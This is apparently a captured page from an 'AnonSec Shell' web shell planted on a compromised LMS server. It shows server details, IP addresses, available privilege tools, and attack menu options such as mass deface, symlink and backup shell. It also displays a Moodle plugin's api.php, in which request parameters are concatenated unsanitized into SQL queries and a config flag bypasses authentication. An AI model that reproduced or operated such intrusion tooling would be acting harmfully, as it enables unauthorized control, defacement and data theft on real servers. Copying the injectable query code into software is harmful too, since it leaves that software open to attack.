AnonSec Shell
Server IP : 165.22.154.248  /  Your IP : 216.73.217.0   [ Reverse IP ]
Web Server : Apache/2.4.29 (Ubuntu)
System : Linux droplet-integra 4.15.0-197-generic #208-Ubuntu SMP Tue Nov 1 17:23:37 UTC 2022 x86_64
User : www-data ( 33)
PHP Version : 7.2.24-0ubuntu0.18.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/avanza-lms.old.bak9874115/mod/agilesson/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/avanza-lms.old.bak9874115/mod/agilesson/api/api.php
<?php

require_once(dirname(__FILE__) . '/../../../config.php');
require_once($CFG->dirroot.'/lib/completionlib.php');

$task = $_POST['task'];

  if(isloggedin() || $CFG->api_agilesson){ 

  switch ($task) {
   case 'completion':
    completion();
   break;
   case 'status-completion':
    completionStatus();
   break;
   case 'url_scorm_player':
    url_scorm_player();
   break;
   case 'url_scorm':
    url_scorm();
   break;
  }

  }else{
  
  
  response(false,['message'=>'Authentication required'],401);
 }

 function response($success=true,$data=[],$code=200){
  header('Content-type: application/json');
  http_response_code($code);
  echo json_encode(array_merge(['success'=>true],$data));
  exit();
 }

 function completion(){
   if( isset($_REQUEST['id_curso']) && isset($_REQUEST['id_modulo'])){
    //consulta el curso
    $course = get_course($_REQUEST['id_curso']);
 
    //consulta el modulo
    $cm = get_coursemodule_from_id(null, $_REQUEST['id_modulo'], $course->id, false, MUST_EXIST);
    //consulta el rastreo de finalización

   $completion = new completion_info($course);
   //marca como visto el modulo para el usuario de la session del navegador
   $completion->set_module_viewed($cm);
   response(true,['completion'=>'success']);
  }else{
   $response=[];
   if(!isset($_REQUEST['id_curso']))$response['id_curso'] ='Campo requerido';
   if(!isset($_REQUEST['id_modulo']))$response['id_modulo'] ='Campo requerido';
   
    response(false,['message'=>'Campos requeridos','errors'=>$response]);
   
  }
 }


 function completionStatus(){
   if( isset($_REQUEST['id_curso']) && isset($_REQUEST['id_modulo'])){
    //consulta el curso

    $course = get_course($_REQUEST['id_curso']);
    //consulta el modulo
    $cm = get_coursemodule_from_id(null, $_REQUEST['id_modulo'], $course->id, false, MUST_EXIST);

    //var_dump($cm);
    //consulta el rastreo de finalización
    $completion = new completion_info($course);
    //marca como visto el modulo para el usuario de la session del navegador
    $state = $completion->get_data($cm);

    //var_dump($state);

   
    response(true,['completion'=>$state->completionstate]);
   } else {
    $response=[];
    if(!isset($_REQUEST['id_curso']))$response['id_curso'] ='Campo requerido';
    if(!isset($_REQUEST['id_modulo']))$response['id_modulo'] ='Campo requerido';
    
     response(false,['message'=>'Campos requeridos','errors'=>$response]);
   }
 }

  function url_scorm_player(){
   $url_scorm = '';
   if(isset($_REQUEST['id_scorm'])){
    global $CFG,$DB;
    
    #-----------------------------------------------------------------------------
    # Arma la instruccion para consultar las categorias 
    # exceptuando la categoria 5 herramientas de comunicación general
    #-----------------------------------------------------------------------------
    $sql=" SELECT e.id as scoid, e.scorm 
     FROM mdl_scorm s
     JOIN mdl_scorm_scoes e ON (s.id=e.scorm) 
     JOIN mdl_course_modules c ON( c.instance=s.id )
     WHERE c.id=".$_REQUEST['id_scorm']."  
     AND e.scormtype='sco'";
    
    $sql = str_replace('mdl_', $CFG->prefix, $sql);
    //Ejecuta la consulta en la BD
    $result= $DB->get_records_sql($sql);
    if(!empty($result)){
     foreach($result as $res){
      $scoid=$res->scoid;
      $a = $res->scorm;
      #-------------------------------------------------
      # Construye la URL del contenido del SCORM
      #-------------------------------------------------
      $url_scorm =$CFG->wwwroot."/mod/scorm/player.php?a=".$a."&scoid=".$scoid."&currentorg=&mode=normal&attempt=1&display=popup";
                  //http://dominio.com/mod/scorm/player.php?a=5&currentorg=&scoid=10&sesskey=dDjcLSoqKo&display=popup&mode=normal
                  //http://xplorabolivar.com/formamostalento/mod/scorm/player.php?a=73&currentorg=Mercadeo_N1_C5_ORG&scoid=223&sesskey=DXajXFQw8B&display=popup&mode=normal
     }//Fin Foreach
    }
    response(true,['url'=>$url_scorm]);
   }else{
    $response=[];
    if(!isset($_REQUEST['id_scorm']))$response['id_scorm'] ='Campo requerido';
    
     response(false,['message'=>'Campos requeridos','errors'=>$response]);
   }

  }


  function url_scorm(){
   if(isset($_REQUEST['id_scorm'])){
    global $CFG,$DB;
    
    #-----------------------------------------------------------------------------
    # Arma la instruccion para consultar las categorias 
    # exceptuando la categoria 5 herramientas de comunicación general
    #-----------------------------------------------------------------------------
    $sql=" SELECT e.id as scoid, e.scorm 
     FROM mdl_scorm s
     JOIN mdl_scorm_scoes e ON (s.id=e.scorm) 
     JOIN mdl_course_modules c ON( c.instance=s.id )
     WHERE c.id=".$_REQUEST['id_scorm']."  
     AND e.scormtype in ('sco','asset')";
  
  
    //Ejecuta la consulta en la BD
    $result= $DB->get_records_sql($sql);
    if(!empty($result)){
     foreach($result as $res){
      $scoid=$res->scoid;
      $a = $res->scorm;
      #-------------------------------------------------
      # Consulta la foto de perfil
      #-------------------------------------------------
      $url_scorm =$CFG->wwwroot."/mod/scorm/loadSCO.php?a=".$a."&scoid=".$scoid."&currentorg=&mode=normal&attempt=1";
      //http://unifrisby.sucerman.com/mod/scorm/player.php?a=5&currentorg=&scoid=10&sesskey=dDjcLSoqKo&display=popup&mode=normal
      //$url_scorm =$CFG->wwwroot."/mod/scorm/player.php?a=".$a."&scoid=".$scoid."&currentorg=&mode=normal&attempt=1&display=popup";
  
     }//Fin Foreach
    }
    response(true,['url'=>$url_scorm]);
   }else{
    $response=[];
    if(!isset($_REQUEST['id_scorm']))$response['id_scorm'] ='Campo requerido';
    
     response(false,['message'=>'Campos requeridos','errors'=>$response]);
   }
  }



?>

Anon7 - 2022
AnonSec Team